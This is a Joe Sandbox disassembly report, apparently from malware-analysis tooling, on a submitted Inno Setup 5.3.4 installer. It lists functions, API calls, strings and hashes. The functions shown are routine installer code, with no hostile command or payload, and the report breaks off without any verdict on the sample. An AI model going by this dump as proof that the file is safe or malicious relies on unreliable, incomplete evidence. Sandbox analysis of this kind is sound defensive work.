String ID: CreateFileMapping$CreateMutex$CreateProcess$D$GetProcAddress$LoadLibrary$MapViewOfFile$OgE$OleInitialize$REGDLL failed with exit code 0x%x$REGDLL mutex wait failed (%d, %d)$REGDLL returned unknown result code %d$ReleaseMutex$Spawning _RegDLL.tmp$_RegDLL.tmp %u %u$_isetup\_RegDLL.tmp$egE
API String ID: 4012871263-2037318299
Opcode ID: 2bd007795e1b2ddc76d7ce9a559c48c324d1643155135a6e5ac56ae879ba47b5
Instruction ID: a20c5760107f962147a9319040fdeb0bea2bc75d6d5764986410e607720027f7
Opcode Fuzzy Hash: 2bd007795e1b2ddc76d7ce9a559c48c324d1643155135a6e5ac56ae879ba47b5
Instruction Fuzzy Hash: E9916270E002199BDB10EFA9C845B9EB7B4FB08305F91856AF814EB393D7789948CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041F088 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00418F60,00000000,?,?,?,00000001), ref: 0041F096
SetErrorMode.KERNEL32(00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0B2
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0BE
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0CC
GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F0FC
GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F125
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F13A
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F14F
GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F164
GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F179
GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F18E
GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F1A3
GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F1B8
GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F1CD
FreeLibrary.KERNEL32(00000001,?,00418F60,00000000,?,?,?,00000001), ref: 0041F1DF

Strings

CTL3D32.DLL, xrefs: 0041F0B9
Ctl3dRegister, xrefs: 0041F0F1
Ctl3dSubclassCtl, xrefs: 0041F12F
Ctl3DColorChange, xrefs: 0041F1AD
Ctl3dAutoSubclass, xrefs: 0041F183
Ctl3dDlgFramePaint, xrefs: 0041F159
Ctl3dSubclassDlgEx, xrefs: 0041F144
Ctl3dUnregister, xrefs: 0041F11A
Ctl3dCtlColorEx, xrefs: 0041F16E
Ctl3dUnAutoSubclass, xrefs: 0041F198
BtnWndProc3d, xrefs: 0041F1C2

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 2323315520-3614243559
Opcode ID: 3dbd376a422217cd60190c6702d938cf0380dd97f6cabc27e0354af46de27ebb
Instruction ID: 815e8fcf402ef61c9757a0b1c257229fab3912ba39737af4d7c4dcf1902ae053
Opcode Fuzzy Hash: 3dbd376a422217cd60190c6702d938cf0380dd97f6cabc27e0354af46de27ebb
Instruction Fuzzy Hash: 75311EB1600740EBDF10EFB5EC8AA653294B76E729745093BB108DB1A2D77C498ACB1C

Uniqueness

Uniqueness Score: -1.00%

Function 00490F4C Relevance: 35.5, APIs: 3, Strings: 17, Instructions: 486COMMON

Download Yara Rule

Strings

Install was done in 64-bit mode but not running 64-bit Windows now, xrefs: 00491215
utCompiledCode[1] is invalid, xrefs: 004911DB
Uninstall, xrefs: 00490FD7
Uninstall DAT: , xrefs: 00491051
DeinitializeUninstall, xrefs: 004916A4
Original Uninstall EXE: , xrefs: 0049102E
InitializeUninstall, xrefs: 0049135A
Will restart because UninstallNeedRestart returned True., xrefs: 004914EA
InitializeUninstall returned False; aborting., xrefs: 00491392
Uninstall command line: , xrefs: 00491074
Not calling UninstallNeedRestart because a restart has already been deemed necessary., xrefs: 00491519
Setup version: Inno Setup version 5.3.4 (a), xrefs: 00491024
Removed all? %s, xrefs: 00491464
Cannot find utCompiledCode record for this version of the uninstaller, xrefs: 004911A0
UninstallNeedRestart, xrefs: 0049149A, 004914D3
Need to restart Windows? %s, xrefs: 0049153B
Will not restart Windows automatically., xrefs: 0049160E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$Long$Show
String ID: Cannot find utCompiledCode record for this version of the uninstaller$DeinitializeUninstall$InitializeUninstall$InitializeUninstall returned False; aborting.$Install was done in 64-bit mode but not running 64-bit Windows now$Need to restart Windows? %s$Not calling UninstallNeedRestart because a restart has already been deemed necessary.$Original Uninstall EXE: $Removed all? %s$Setup version: Inno Setup version 5.3.4 (a)$Uninstall$Uninstall DAT: $Uninstall command line: $UninstallNeedRestart$Will not restart Windows automatically.$Will restart because UninstallNeedRestart returned True.$utCompiledCode[1] is invalid
API String ID: 3609083571-540932686
Opcode ID: 95845ce58dd33b11270f0bcad1ef958447a36d73fe786c218c0066e2c8b8b3eb
Instruction ID: 59b7c036a03d461677562de2f337d543927cbba062a10b008de86d2ad0bb5db2
Opcode Fuzzy Hash: 95845ce58dd33b11270f0bcad1ef958447a36d73fe786c218c0066e2c8b8b3eb
Instruction Fuzzy Hash: CB12A170A00645AFDB12EB66E852B5E7FB1AB55308F20847BF8009B3A2C67C9D45CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C97C Relevance: 33.2, APIs: 22, Instructions: 213windowCOMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,0041A8B4,?), ref: 0041C9B0
73A24C40.GDI32(?,00000000,?,0041A8B4,?), ref: 0041C9BC
73A26180.GDI32(0041A8B4,?,00000001,00000001,00000000,00000000,0041CBD2,?,?,00000000,?,0041A8B4,?), ref: 0041C9E0
73A24C00.GDI32(?,0041A8B4,?,00000000,0041CBD2,?,?,00000000,?,0041A8B4,?), ref: 0041C9F0
SelectObject.GDI32(0041CDAC,00000000), ref: 0041CA0B
FillRect.USER32(0041CDAC,?,?), ref: 0041CA46
SetTextColor.GDI32(0041CDAC,00000000), ref: 0041CA5B
SetBkColor.GDI32(0041CDAC,00000000), ref: 0041CA72
PatBlt.GDI32(0041CDAC,00000000,00000000,0041A8B4,?,00FF0062), ref: 0041CA88
73A24C40.GDI32(?,00000000,0041CB8B,?,0041CDAC,00000000,?,0041A8B4,?,00000000,0041CBD2,?,?,00000000,?,0041A8B4), ref: 0041CA9B
SelectObject.GDI32(00000000,00000000), ref: 0041CACC
73A18830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B,?,0041CDAC,00000000,?,0041A8B4), ref: 0041CAE4
73A122A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B,?,0041CDAC,00000000,?), ref: 0041CAED
73A18830.GDI32(0041CDAC,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B), ref: 0041CAFC
73A122A0.GDI32(0041CDAC,0041CDAC,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B), ref: 0041CB05
SetTextColor.GDI32(00000000,00000000), ref: 0041CB1E
SetBkColor.GDI32(00000000,00000000), ref: 0041CB35
73A24D40.GDI32(0041CDAC,00000000,00000000,0041A8B4,?,00000000,00000000,00000000,00CC0020,00000000,00000000,00000000,0041CB7A,?,?,00000000), ref: 0041CB51
SelectObject.GDI32(00000000,?), ref: 0041CB5E
DeleteDC.GDI32(00000000), ref: 0041CB74

Part of subcall function 00419FC8: GetSysColor.USER32(?), ref: 00419FD2

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Color$ObjectSelect$A122A18830Text$A26180A570DeleteFillRect
String ID:
API String ID: 1381628555-0
Opcode ID: 6ab65edd8240ed20f794eacf0d63e1bb21ecde25595e2e73ad3d3ae3dbff455f
Instruction ID: 7128b10ae0d2f5501f58bad1f60f679124a592cf14607d549707b49f1954e982
Opcode Fuzzy Hash: 6ab65edd8240ed20f794eacf0d63e1bb21ecde25595e2e73ad3d3ae3dbff455f
Instruction Fuzzy Hash: 5961FC71A44609ABDF10EBE5DC86FAFB7B8EF48704F10446AF504E7281C67CA9418B69

Uniqueness

Uniqueness Score: -1.00%

Function 0042DEBC Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178memorylibraryloaderCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00493788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEF6
GetVersion.KERNEL32(00000000,0042E0A0,?,00493788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF13
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E0A0,?,00493788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF2C
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DF32
FreeSid.ADVAPI32(00000000,0042E0A7,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E09A

Strings

CheckTokenMembership, xrefs: 0042DF22
advapi32.dll, xrefs: 0042DF27

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressAllocateFreeHandleInitializeModuleProcVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 1717332306-1888249752
Opcode ID: 9c2d92618089c045db7cc45444b4b39a9e3eeaabf2cdbb16aadbda0d4b0e740e
Instruction ID: b47b297bded1d11ddf8dbbdf8866b420117faccba79691f7cf002b7c56945d2e
Opcode Fuzzy Hash: 9c2d92618089c045db7cc45444b4b39a9e3eeaabf2cdbb16aadbda0d4b0e740e
Instruction Fuzzy Hash: 0E51B471B44629AEDB10EAE69C42F7F77ECEB09304F94447BB500E7282C5BC9905866D

Uniqueness

Uniqueness Score: -1.00%

Function 004921E8 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 251synchronizationCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,00492580,?,?,00000000,?,00000000,00000000,?,004928C1,00000000,004928CB,?,00000000), ref: 0049226B
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00492580,?,?,00000000,?,00000000,00000000,?,004928C1,00000000), ref: 0049227E
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00492580,?,?,00000000,?,00000000,00000000), ref: 0049228E
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 004922AF
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00492580,?,?,00000000,?,00000000), ref: 004922BF

Part of subcall function 0042D328: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D3B6,?,?,00000000,?,?,00491C7C,00000000,00491E45,?,?,00000005), ref: 0042D35D

Strings

Inno-Setup-RegSvr-Mutex, xrefs: 00492275
.lst, xrefs: 004922FC
/REG, xrefs: 0049221D
.msg, xrefs: 004922E2
Setup, xrefs: 00492257
/REGU, xrefs: 00492241

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-3672972446
Opcode ID: 06a7ed08dbf674a2667a05d703fd75933f08328fa6a844e0e79dc1aa1c7f5483
Instruction ID: 3aaa1206ea96c942a1dc7cc704d64c74666df5688c5e5e951628029b4c51e49f
Opcode Fuzzy Hash: 06a7ed08dbf674a2667a05d703fd75933f08328fa6a844e0e79dc1aa1c7f5483
Instruction Fuzzy Hash: A791C330A04204BFDF11EBA5C956BAF7BA4EB49314F924477F800AB392D6BC9C05CB19

Uniqueness

Uniqueness Score: -1.00%

Function 00458A2C Relevance: 21.2, APIs: 2, Strings: 10, Instructions: 199COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00458CC6,?,?,?,?,?,00000006,?,00000000,00491717,?,00000000,004917BA), ref: 00458B78

Strings

Failed to strip read-only attribute., xrefs: 00458B5D
.hlp, xrefs: 00458A63
The file appears to be in use (%d). Will delete on restart., xrefs: 00458BC1
.gid, xrefs: 00458A7C
Failed to delete the file; it may be in use (%d)., xrefs: 00458C67
Stripped read-only attribute., xrefs: 00458B51
.fts, xrefs: 00458AA0
.chw, xrefs: 00458AE1
.chm, xrefs: 00458AC8
Deleting file: %s, xrefs: 00458B17

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 1452528299-1593206319
Opcode ID: fab1801c83719b401dae8279acafb6f3c72adbd90b51be916231b55248e2b9b3
Instruction ID: c0b81f7498e5b7e500974e5393cbc04c1f71ed909e083ee47f99453e8a5d0863
Opcode Fuzzy Hash: fab1801c83719b401dae8279acafb6f3c72adbd90b51be916231b55248e2b9b3
Instruction Fuzzy Hash: 11616C30B002445BDB11EB6998827AE7BA5AB49719F50846FF801EB383DF789D09C769

Uniqueness

Uniqueness Score: -1.00%

Function 0041B31C Relevance: 21.1, APIs: 14, Instructions: 126windowCOMMON

Download Yara Rule

APIs

73A24C40.GDI32(00000000,?,00000000,?), ref: 0041B333
73A24C40.GDI32(00000000,00000000,?,00000000,?), ref: 0041B33D
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B34F
73A26180.GDI32(0000000B,?,00000001,00000001,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B366
73A1A570.USER32(00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B372
73A24C00.GDI32(00000000,0000000B,?,00000000,0041B3CB,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B39F
73A1A480.USER32(00000000,00000000,0041B3D2,00000000,0041B3CB,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3C5
SelectObject.GDI32(00000000,?), ref: 0041B3E0
SelectObject.GDI32(?,00000000), ref: 0041B3EF
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B41B
SelectObject.GDI32(00000000,00000000), ref: 0041B429
SelectObject.GDI32(?,00000000), ref: 0041B437
DeleteDC.GDI32(00000000), ref: 0041B440
DeleteDC.GDI32(?), ref: 0041B449

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Object$Select$Delete$A26180A480A570Stretch
String ID:
API String ID: 359944910-0
Opcode ID: e420a80018f5a27581da0c94fb8e2332c520fd2d58b05de39de388c6394c4d5d
Instruction ID: ef99a8f9a6f00624a9096b2aeeb37702e3b70ceb3a8cbf3cb68c8f3869cb2bd7
Opcode Fuzzy Hash: e420a80018f5a27581da0c94fb8e2332c520fd2d58b05de39de388c6394c4d5d
Instruction Fuzzy Hash: 1541D071E40619AFDF10DAE9D846FEFB7BCEF08704F104466B614FB281C67869408BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0046E3C8 Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 317COMMON

Download Yara Rule

APIs

Part of subcall function 0042C6E0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C704

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0046E55B
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046E64E
SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 0046E664
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046E689

Strings

target.lnk, xrefs: 0046E6D3
.lnk, xrefs: 0046E451
.pif, xrefs: 0046E474, 0046E5D2
Filename: %s, xrefs: 0046E4FD
{group}\, xrefs: 0046E41F
.url, xrefs: 0046E497
Desktop.ini, xrefs: 0046E70A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
API String ID: 971782779-3668018701
Opcode ID: 7233d68e5e0cd7d80ba07986dc8d0c7cf2e1d0277f99ac3aa031ea8fdea09f1a
Instruction ID: dad63e880d71d64191cbb6a8ee4696ca6eb4502e54dc837f5c65c8de11b949a7
Opcode Fuzzy Hash: 7233d68e5e0cd7d80ba07986dc8d0c7cf2e1d0277f99ac3aa031ea8fdea09f1a
Instruction Fuzzy Hash: A5D13474A00249AFDB01EF99D885BDEBBF5AF08314F54402AF800B7391D778AE45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004530B4 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegQueryValueExA.ADVAPI32(00458E8E,00000000,00000000,?,00000000,?,00000000,0045334D,?,00458E8E,00000003,00000000,00000000,00453384), ref: 004531CD

Part of subcall function 0042E670: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451BF7,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E68F

RegQueryValueExA.ADVAPI32(00458E8E,00000000,00000000,00000000,?,00000004,00000000,00453297,?,00458E8E,00000000,00000000,?,00000000,?,00000000), ref: 00453251
RegQueryValueExA.ADVAPI32(00458E8E,00000000,00000000,00000000,?,00000004,00000000,00453297,?,00458E8E,00000000,00000000,?,00000000,?,00000000), ref: 00453280

Strings

, xrefs: 0045313E
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00453124
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004530EB
RegOpenKeyEx, xrefs: 00453150

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 5672ad8e2cc117f4e8176355555f5365562b113b61d1c3d615d0baec73026090
Instruction ID: 9b4ba10c22eae4ee7854298b287fdc99132420248117da062c6f054c990cd466
Opcode Fuzzy Hash: 5672ad8e2cc117f4e8176355555f5365562b113b61d1c3d615d0baec73026090
Instruction Fuzzy Hash: 90911371D04608ABDB11DFA5C941BDEB7B9EB48346F50407BF900F7282D6789F098B69

Uniqueness

Uniqueness Score: -1.00%

Function 00456E50 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00456E87
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 00456EA3
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 00456EB1
GetExitCodeProcess.KERNEL32(?), ref: 00456EC2
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00456F09
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00456F25

Strings

Helper process exited., xrefs: 00456ED1
Stopping 64-bit helper process. (PID: %u), xrefs: 00456E79
Helper process exited, but failed to get exit code., xrefs: 00456EFB
Helper process exited with failure code: 0x%x, xrefs: 00456EEF
Helper isn't responding; killing it., xrefs: 00456E93

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: 44f830463b6b98ffcd0b5fc49b811d69bbadb2fca0106d1d9bde81c82a2268c6
Instruction ID: e3dcae7ee27b0c74354dd39b82ec863519094067a73f9fae9ec07b4aeacd6428
Opcode Fuzzy Hash: 44f830463b6b98ffcd0b5fc49b811d69bbadb2fca0106d1d9bde81c82a2268c6
Instruction Fuzzy Hash: 09217171A047019AC720EB79D44575BB6E49F08309F41CC2FF99ACB283D77CE8488B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00452D68 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC1C: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DC48

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,00452F3F,?,00000000,00453003), ref: 00452E8F
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,00452F3F,?,00000000,00453003), ref: 00452FCB

Part of subcall function 0042E670: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451BF7,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E68F

Strings

, xrefs: 00452DF1
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452DD7
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452DA7
RegCreateKeyEx, xrefs: 00452E03

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCreateFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2481121983-1280779767
Opcode ID: 992b1da2950830ab92792e8627ea11dc1cb8e96db011ddc3e5931f01e7172f02
Instruction ID: bd46e7fedae0378ea69e291eeb16b1e61bf49070ab8af015702d395f50882908
Opcode Fuzzy Hash: 992b1da2950830ab92792e8627ea11dc1cb8e96db011ddc3e5931f01e7172f02
Instruction Fuzzy Hash: D281F076A00209AFDB00DFD5D941BEEB7B9EB49305F50442BF900F7282D778AA05DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00490B70 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00452240: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,AI,_iu,?,00000000,0045237A), ref: 0045232F
Part of subcall function 00452240: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,AI,_iu,?,00000000,0045237A), ref: 0045233F

CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00490BED
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00490D41), ref: 00490C0E
CreateWindowExA.USER32(00000000,STATIC,00490D50,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00490C35
SetWindowLongA.USER32(?,000000FC,004903C8), ref: 00490C48
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00490D14,?,?,000000FC,004903C8,00000000,STATIC,00490D50), ref: 00490C78
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00490CEC
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00490D14,?,?,000000FC,004903C8,00000000), ref: 00490CF8

